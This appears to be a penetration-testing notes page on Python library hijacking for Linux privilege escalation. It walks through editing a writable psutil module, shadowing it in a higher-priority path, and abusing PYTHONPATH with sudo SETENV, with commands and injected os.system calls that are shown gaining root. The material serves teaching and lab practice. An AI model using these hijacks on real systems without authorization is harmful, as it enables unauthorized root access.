Python Library Hijacking

Ways to hijack a python library

  • Wrong write permissions

  • Library path

  • PYTHONPATH environment variable

Wrong Write Permissions

Sample Scenario

  1. Assuming there is a binary that has a SUID set

    $ ls -l mem_status.py
    
    -rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py
  2. This means we can read its contents, and execute this file as root. But we can't edit the file.

  3. Reading the file, we can see that it imports the psutil library and it calls the function virtual_memory

    #!/usr/bin/env python3
    import psutil
    
    available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
    
    print(f"Available memory: {round(available_memory, 2)}%")
  4. So we can look for this function in the folder of psutil and check if this module has write permissions for us

    $ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
    
    /usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
    /usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():
    
    
    $ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
    
    -rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
  5. View the function

    ...SNIP...
    
    def virtual_memory():
    
    	...SNIP...
    	
        global _TOTAL_PHYMEM
        ret = _psplatform.virtual_memory()
        # cached for later use in Process.memory_percent()
        _TOTAL_PHYMEM = ret.total
        return ret
    
    ...SNIP...
  6. Edit the function

    ...SNIP...
    
    def virtual_memory():
    
        ...SNIP...
        #### Hijacking
        import os
        os.system('id')
    	
    
        global _TOTAL_PHYMEM
        ret = _psplatform.virtual_memory()
        # cached for later use in Process.memory_percent()
        _TOTAL_PHYMEM = ret.total
        return ret
    
    ...SNIP...
  7. Run the script with sudo

    $ sudo /usr/bin/python3 ./mem_status.py
    
    uid=0(root) gid=0(root) groups=0(root)
    uid=0(root) gid=0(root) groups=0(root)
    Available memory: 79.22%

Library Path

Sample Exploitation

  1. Check the PYTHONPATH

    $ python3 -c 'import sys; print("\n".join(sys.path))'
    
    /usr/lib/python38.zip
    /usr/lib/python3.8
    /usr/lib/python3.8/lib-dynload
    /usr/local/lib/python3.8/dist-packages
    /usr/lib/python3/dist-packages
  2. Two pre-requisites must be satisfied:

    1. The module imported by the script is in lower level priority

    2. We have write permissions on any script that has higher priority

  3. Check default installation and we can see that it is in the lower priority

    $ pip3 show psutil
    
    ...SNIP...
    Location: /usr/local/lib/python3.8/dist-packages
    
    ...SNIP...
  4. Check the higher priority PYTHONPATH if we can write there

    $ ls -la /usr/lib/python3.8
    
    total 4916
    drwxr-xrwx 30 root root  20480 Dec 14 16:26 .
    ...SNIP...
  5. Since the conditions are satisfied, create a psutil.py on the directory in step4

    #!/usr/bin/env python3
    
    import os
    
    def virtual_memory():
        os.system('id')
  6. Run the python file that has the SUID set

    $ sudo /usr/bin/python3 mem_status.py

PYTHONPATH

If SETENV: is in sudo -l , we can set environment variables under the context of the running program.

Sample Exploitation

  1. Create a psutil.py in any directory (/tmp in this example)

    $ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py
    
    uid=0(root) gid=0(root) groups=0(root)
    ...SNIP...

Last updated